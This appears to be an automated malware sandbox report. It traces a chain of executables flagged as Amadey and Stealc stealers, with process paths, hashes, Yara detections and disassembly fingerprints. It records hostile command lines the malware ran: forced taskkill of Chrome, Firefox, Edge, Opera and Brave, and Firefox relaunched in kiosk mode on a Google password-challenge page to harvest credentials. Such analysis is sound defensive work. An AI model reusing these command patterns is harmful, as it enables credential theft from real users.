Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4b0000
File size:	1'949'184 bytes
MD5 hash:	E482A6DBDD0295FBA6C2780B1BE55B79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000003.1792693970.0000000005150000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000006.00000002.1833170669.00000000004B1000.00000040.00000001.01000000.0000000A.sdmp, Author: Joe Security
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	13:24:43
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1SC0KN6KHBFFEX9LB9FR.exe"
Imagebase:	0x3e0000
File size:	2'744'320 bytes
MD5 hash:	AEFC5D767F773478D75E671284F4BF2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	13:25:00
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Wow64 process (32bit):	true
Commandline:	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe
Imagebase:	0x4b0000
File size:	1'949'184 bytes
MD5 hash:	E482A6DBDD0295FBA6C2780B1BE55B79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000009.00000003.1950474134.00000000051F0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Reputation:	low
Has exited:	false

Show Windows behavior

Target ID:	12
Start time:	13:25:11
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe"
Imagebase:	0xe0000
File size:	3'008'000 bytes
MD5 hash:	2DDF3E96C0A2E790AA36BCC1F2607999
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 37%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	13
Start time:	13:25:17
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe"
Imagebase:	0xf60000
File size:	1'826'304 bytes
MD5 hash:	C4E6EE23E53A5DB6BBBA123A40F78633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2155410034.000000000096E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000002.2156064791.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000000D.00000003.2114768262.0000000004F20000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	14
Start time:	13:25:22
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe"
Imagebase:	0x720000
File size:	919'552 bytes
MD5 hash:	551A25A3B025A6EDBFF0FDED5871E3E0
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_CredentialFlusher, Description: Yara detected Credential Flusher, Source: 0000000E.00000003.2210936334.000000000154F000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Joe Sandbox ML Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	15
Start time:	13:25:22
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	16
Start time:	13:25:22
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	17
Start time:	13:25:24
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	18
Start time:	13:25:24
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	19
Start time:	13:25:24
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	20
Start time:	13:25:24
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	21
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	22
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	23
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	24
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	25
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	26
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking --attempting-deelevation
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	27
Start time:	13:25:25
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	28
Start time:	13:25:26
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000776001\805c374e44.exe"
Imagebase:	0xe0000
File size:	3'008'000 bytes
MD5 hash:	2DDF3E96C0A2E790AA36BCC1F2607999
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	30
Start time:	13:25:26
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=2296 -parentBuildID 20230927232528 -prefsHandle 2240 -prefMapHandle 2208 -prefsLen 25298 -prefMapSize 238442 -win32kLockedDown -appDir "C:\Program Files\Mozilla Firefox\browser" - {34b6ca91-56d8-413a-88d7-ee30912c0c14} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1ba9f06e710 socket
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	31
Start time:	13:25:27
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000779001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000779001\num.exe"
Imagebase:	0xf10000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000000.2199906400.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2216291454.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 0000001F.00000002.2214966614.00000000009D0000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_PowershellDownloadAndExecute, Description: Yara detected Powershell download and execute, Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: C:\Users\user\AppData\Local\Temp\1000779001\num.exe, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 83%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	32
Start time:	13:25:31
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" -contentproc --channel=4468 -parentBuildID 20230927232528 -prefsHandle 4460 -prefMapHandle 4456 -prefsLen 26313 -prefMapSize 238442 -appDir "C:\Program Files\Mozilla Firefox\browser" - {c5273e2e-201f-4d21-b74a-5307ad1e4b40} 4184 "\\.\pipe\gecko-crash-server-pipe.4184" 1bab1427e10 rdd
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	33
Start time:	13:25:34
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000777001\2de90f6e61.exe"
Imagebase:	0xf60000
File size:	1'826'304 bytes
MD5 hash:	C4E6EE23E53A5DB6BBBA123A40F78633
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000003.2284540451.0000000004E50000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2374193496.0000000000ADB000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000021.00000002.2377672414.0000000000F61000.00000040.00000001.01000000.00000010.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	34
Start time:	13:25:37
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\NIAQ8UCODLSD9YO1XILDARKL3P17TR3.exe"
Imagebase:	0x460000
File size:	1'949'184 bytes
MD5 hash:	E482A6DBDD0295FBA6C2780B1BE55B79
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000003.2331265638.00000000051E0000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Amadey_2, Description: Yara detected Amadey\'s stealer DLL, Source: 00000022.00000002.2372440457.0000000000461000.00000040.00000001.01000000.0000001C.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	35
Start time:	13:25:40
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\DC91U752866P4RTKEWI6.exe"
Imagebase:	0x1f0000
File size:	1'826'304 bytes
MD5 hash:	C4E6EE23E53A5DB6BBBA123A40F78633
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2481601869.00000000001F1000.00000040.00000001.01000000.0000001D.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000003.2347254585.0000000004B90000.00000004.00001000.00020000.00000000.sdmp, Author: Joe Security Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000023.00000002.2485310280.0000000000E1E000.00000004.00000020.00020000.00000000.sdmp, Author: Joe Security
Antivirus matches:	Detection: 100%, Avira Detection: 100%, Joe Sandbox ML Detection: 50%, ReversingLabs
Has exited:	true

Show Windows behavior

Target ID:	36
Start time:	13:25:42
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000778001\e65c930c15.exe"
Imagebase:	0x720000
File size:	919'552 bytes
MD5 hash:	551A25A3B025A6EDBFF0FDED5871E3E0
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	37
Start time:	13:25:43
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\3Q80EIMUCFFG76LFA8QRQJ8BTWQ0VW.exe"
Imagebase:	0x7c0000
File size:	2'744'320 bytes
MD5 hash:	AEFC5D767F773478D75E671284F4BF2A
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 100%, Joe Sandbox ML
Has exited:	true

Show Windows behavior

Target ID:	38
Start time:	13:25:43
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM firefox.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	39
Start time:	13:25:43
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	40
Start time:	13:25:51
Start date:	22/10/2024
Path:	C:\Users\user\AppData\Local\Temp\1000779001\num.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\AppData\Local\Temp\1000779001\num.exe"
Imagebase:	0xf10000
File size:	314'368 bytes
MD5 hash:	791FCEE57312D4A20CC86AE1CEA8DFC4
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Stealc, Description: Yara detected Stealc, Source: 00000028.00000000.2440197352.0000000000F11000.00000080.00000001.01000000.00000018.sdmp, Author: Joe Security
Has exited:	true

Show Windows behavior

Target ID:	42
Start time:	13:25:58
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM chrome.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	43
Start time:	13:25:58
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	44
Start time:	13:25:58
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM msedge.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	45
Start time:	13:25:58
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	46
Start time:	13:25:58
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM opera.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	47
Start time:	13:25:58
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	48
Start time:	13:25:59
Start date:	22/10/2024
Path:	C:\Windows\SysWOW64\taskkill.exe
Wow64 process (32bit):	true
Commandline:	taskkill /F /IM brave.exe /T
Imagebase:	0xab0000
File size:	74'240 bytes
MD5 hash:	CA313FD7E6C2A778FFD21CFB5C1C56CD
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	49
Start time:	13:25:59
Start date:	22/10/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6ee680000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Target ID:	50
Start time:	13:25:59
Start date:	22/10/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\firefox.exe" --kiosk "https://youtube.com/account?=https://accounts.google.com/v3/signin/challenge/pwd" --no-default-browser-check --disable-popup-blocking
Imagebase:	0x7ff6d20e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Has exited:	true

Show Windows behavior

Function 011FFDAA Relevance: 21.4, Strings: 15, Instructions: 2605COMMON

Download Yara Rule

Strings

'cf_, xrefs: 01200532
devi, xrefs: 01200494
"rob, xrefs: 01200446
"no-, xrefs: 012002F3
1" /, xrefs: 012004AE
"en-, xrefs: 012002BE
"no-, xrefs: 0120025D
"sty, xrefs: 012004BF
"cf_, xrefs: 012004CF
Edge, xrefs: 01200433
"en-, xrefs: 01200309
"/, xrefs: 0120054A
"sty, xrefs: 01200522
"en-, xrefs: 01200273
"en-, xrefs: 0120034F

Memory Dump Source

Source File: 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 011F7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_11f7000_file.jbxd

Yara matches

Similarity

API ID:
String ID: "/$"cf_$"en-$"en-$"en-$"en-$"no-$"no-$"rob$"sty$"sty$'cf_$1" /$Edge$devi
API String ID: 0-1098882670
Opcode ID: 2c21e6a83d278a6513d2c83e0e52a0cb71f6ba660e529f6c7294ac41a94956b4
Instruction ID: 93553b7e85f044e3c3f3d0898141a5cc686b394aeb5b8cf998f05ef9c00d6504
Opcode Fuzzy Hash: 2c21e6a83d278a6513d2c83e0e52a0cb71f6ba660e529f6c7294ac41a94956b4
Instruction Fuzzy Hash: 4632AC2243D3D20EF7279B7456AA3A27FA5EA631D0B5D17CEE2C00A9F3C1429546C35E

Function 011F8629 Relevance: 2.2, Strings: 1, Instructions: 917COMMON

Download Yara Rule

Strings

2yK, xrefs: 011F8DD0

Memory Dump Source

Source File: 00000000.00000003.1606267306.00000000011F7000.00000004.00000020.00020000.00000000.sdmp, Offset: 011F7000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_3_11f7000_file.jbxd

Yara matches

Similarity

API ID:
String ID: 2yK
API String ID: 0-3344806475
Opcode ID: d3e0e6a00eec118685155ec2e0ea4b59761d4f6b7159a2f46bfc3e0c0b2c10f6
Instruction ID: e9a16e1578ff25ecd30d37e7afc70d0bbbab1874bdfbc8a39073a0139ebd2a3d
Opcode Fuzzy Hash: d3e0e6a00eec118685155ec2e0ea4b59761d4f6b7159a2f46bfc3e0c0b2c10f6
Instruction Fuzzy Hash: DDA1136244E7C14FE7478B7048A9681BFB0AF13258B2F46DBC0C48F8E3D258595EC766

Analysis Process: R35D5PNQKQVRTA7D.exePID: 3148, Parent PID: 6900COMMON

Executed Functions

Function 05440D13 Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d159a1f356ff01a277bff66ce97238b8f7806449c5a98c24d922f517daa6673e
Instruction ID: 1e4f572eb3c0d49ab2244f664969f825748c99aaa6e04ecf176da1365b5935e1
Opcode Fuzzy Hash: d159a1f356ff01a277bff66ce97238b8f7806449c5a98c24d922f517daa6673e
Instruction Fuzzy Hash: EE0122EF18D025AD7241D1823B2CAF66B2EE1DA770330C82BF60BC9101E2881A6E1830

Function 05440D38 Relevance: .1, Instructions: 108COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: d753bd83de8aa8d4e36e075dd3fe549e1378b22981fe6681e1ee194818405747
Instruction ID: a0c9ff88aecb3e07861a6f05024a2c81e600a99a3e3fb0113980b6928293e806
Opcode Fuzzy Hash: d753bd83de8aa8d4e36e075dd3fe549e1378b22981fe6681e1ee194818405747
Instruction Fuzzy Hash: 16115BEB18D011BDB151D1466B2CAFA676EE5DA730330C42BF60ECE101E6855AAE5931

Function 05440D19 Relevance: .1, Instructions: 99COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3028f54fbd30034a47ce80c030a20d29b9a78b943467b8a9d49ca67698f301c5
Instruction ID: 34c6df93b3474caf57cd2f6f1f613165561db5bd1ef2c438b79ddb7120fe1650
Opcode Fuzzy Hash: 3028f54fbd30034a47ce80c030a20d29b9a78b943467b8a9d49ca67698f301c5
Instruction Fuzzy Hash: DD11BCFF18D111AE7241D192AA1CEFA6B6EE5D6730330C82BFA4BCD001E2845A6F5830

Function 05440D67 Relevance: .1, Instructions: 89COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000003.00000002.1791304989.0000000005440000.00000040.00001000.00020000.00000000.sdmp, Offset: 05440000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_3_2_5440000_R35D5PNQKQVRTA7D.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 1c59bccc0dba7ff2c8eb6981043d0aa53659a4c37022f6f71b959823640f901c
Instruction ID: d02c20bafb093add3b9e5a75b94fd48f7788ef128c011fb0d862f65ddc5f909e
Opcode Fuzzy Hash: 1c59bccc0dba7ff2c8eb6981043d0aa53659a4c37022f6f71b959823640f901c
Instruction Fuzzy Hash: 260117EF18D125AD7241D1527B18AF7672EE1D6770331C82BF60FCD101E2995A6E5930

Function 05440D8A Relevance: .1, Instructions: 69COMMON

Download Yara Rule

Memory Dump Source

